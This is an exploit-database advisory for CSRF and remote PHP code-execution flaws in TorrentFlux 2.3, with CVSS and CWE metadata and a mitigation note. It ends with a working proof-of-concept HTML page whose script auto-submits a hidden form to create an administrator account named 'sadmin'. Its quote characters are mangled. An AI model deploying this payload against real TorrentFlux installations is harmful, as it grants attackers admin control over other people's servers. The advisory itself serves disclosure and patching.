TorrentFlux Cross-Site Request-Forgery and Remote PHP Code-Execution Vulnerabilities

vendor:

TorrentFlux

by:

SecurityFocus

7.5

CVSS

HIGH

Cross-Site Request-Forgery and Remote PHP Code-Execution

352, 78

CWE

Product Name: TorrentFlux

Affected Version From: 2.3

Affected Version To: 2.3

Patch Exists: Yes

Related CWE: N/A

CPE: a:torrentflux:torrentflux

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

TorrentFlux Cross-Site Request-Forgery and Remote PHP Code-Execution Vulnerabilities

TorrentFlux is prone to a cross-site request-forgery vulnerability and a remote PHP code-execution vulnerability. Exploiting these issues may allow a remote attacker to create administrative accounts in the application or to execute arbitrary PHP script code. This may facilitate the remote compromise of affected computers. An example exploit code is provided which can be used to create an administrative account.

Mitigation:

Users should apply the latest available updates to the application.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/28846/info

TorrentFlux is prone to a cross-site request-forgery vulnerability and a remote PHP code-execution vulnerability.

Exploiting these issues may allow a remote attacker to create administrative accounts in the application or to execute arbitrary PHP script code. This may facilitate the remote compromise of affected computers.

TorrentFlux 2.3 is vulnerable; other versions may also be affected.

<html> Add an admistrative account: <form id=?create_admin? method=?post? action=?http://localhost/torrentflux_2.3/html/admin.php?op=addUser?> <input type=hidden name=?newUser? value=?sadmin?> <input type=hidden name=?pass1&#8243; value=?password?> <input type=hidden name=?pass2&#8243; value=?password?> <input type=hidden name=?userType? value=1> <input type=submit value=?create admin?> </form> </html> <script> document.getElementById(?create_admin?).submit(); </script>